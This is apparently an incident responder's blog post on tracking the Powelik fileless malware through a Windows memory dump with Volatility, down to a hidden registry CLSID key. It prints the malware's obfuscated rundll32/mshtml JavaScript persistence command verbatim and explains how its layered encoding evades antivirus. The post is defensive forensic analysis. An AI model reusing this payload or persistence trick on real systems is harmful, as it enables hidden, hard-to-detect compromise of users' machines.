Hiding in the registry? Not new, but still effective

Here's kind of a fun one. Potentially infected machine (was trying to talk out to Russia...) so I start with all the usual precursory research. Don't see anything that really stands out, although an orphaned dllhost.exe process sounded like a good starting point to me. Launched a memory dump and started moving the 3.8 gig file over the WAN (ugh, so slow.)

While the file moved along, got some intel that suggested this could be powelik, a piece of malware that hides itself in the registry, not touching disk, and not using memory quite in the same way as all the noisey samples I've been analyzing for the past couple weeks.

Started out with my usual psxview, pslist, pstree, malfind, mutants, cmdscan, and dlllist plugins within volatility. Didn't see anything terribly interesting in any of them. I wanted to take a closer look at that dllhost process, so I ran a procdump on it, which... Failed for some reason. Strange. Did a vaddump on it instead, which is much messier, but still good for running strings on, at the very least.

So I ran strings on the resulting vaddump files, and found a couple registry key values (as well as some IPs and strange domains). After finding out through prior research that powelik hides in the registry, and uses dllhost, this seemed like a good indicator for where to look next.

The next part took a little bit of trial and error on my part. Digging through the registry as it sits in memory using volatility is a far cry different from using a tool like regedit. I've played around with the printkey module, but how to see exactly where it's pulling keys from, has always been a mystery to me. With a little bit of research, I've finally figured it out... to a degree.

First, we need to use the hivedump command with volatility, this gives us a list of all the registry hives (I use this command typically to get the System and SAM offsets for hashdumping). The key listed in the vaddump strings was "software\classes\clsid\{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}\localserver32."
The prior research suggested this should be located in the local user registry (HKLU,) and also mentioned that that file is located at C:\Users\username\AppData\Local\Microsoft\Windows\UsrClass.dat. This was a very useful bit of information, as I would have been barking up the wrong tree without this little tidbit. Clearly I need to study up on the registry a little bit.

Anyways, hivelist will show the offsets for the above registry file. I did a printkey just on the offset with no key specified, which for whatever reason listed CLSID without the software\classes parent keys... Which... Is odd, I still don't quite get how the registry is structured when pulled from memory, but anyways, there it was. So I did a printkey on the CLSID and saw a bunch of weird values similar to and including the one above starting with 73E. So, did a printkey on that one and saw this:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDV]]tpguxbsf]]dmbttft]]dmtje]]|bc9:13c5.1:db.5cc7.c89e.b9g6:18:b9e6~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*".replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);}))
Along with a bunch of what looks to me like binary data.

Well well, yet another indicator described in my powelik reading. It uses this registry key (hidden from normal browsing/modification through regedit with a null name or an unreadable non-ASCII character,) to maintain persistence. That javascript runs and leverages powershell to run the obfuscated shellcode. That eval function is more or less caesar shifted, it runs a function on each character, which basically just subtracts one from each. I haven't tried to decode it yet, but I'm willing to bet it points to a registry key.

And what would this post be without a slick tool? An associate pointed me to http://www.greymagic.com/security/tools/decoder/ which is a decoder for scripts that were encoded with Microsoft Script Encoder (I didn't even know that was a thing...) I literally pasted that registry key, javascript, binary, and all, into the decoder, and it spat back all the code. It does indeed check for powershell, and install it if it isn't there. Then there's a base64 encoded section that calls the shellcode (which is base64 coded within the first base64 encoding.) It shows the c2 servers at the end of the first chunk of base64, which is an exact string I saw in the vaddump of dllhost. It always pleases me to see things correlate like that.

Anyways, while my boss and I were going through the base64 decoding, noticed a nice little MZ header. Aha! Ran foremost on the file and it carved out the .dll slick as a whistle. The dll even has a whopping 8 hits on VT. The only problem, is that since this dll is triple encoded and located in a registry key with a non-ascii character name (making it impossible to query properly,) I don't see how an anti-virus could properly scan for it, even assuming it did have a signature for it. Kind of slick, but not in a good way.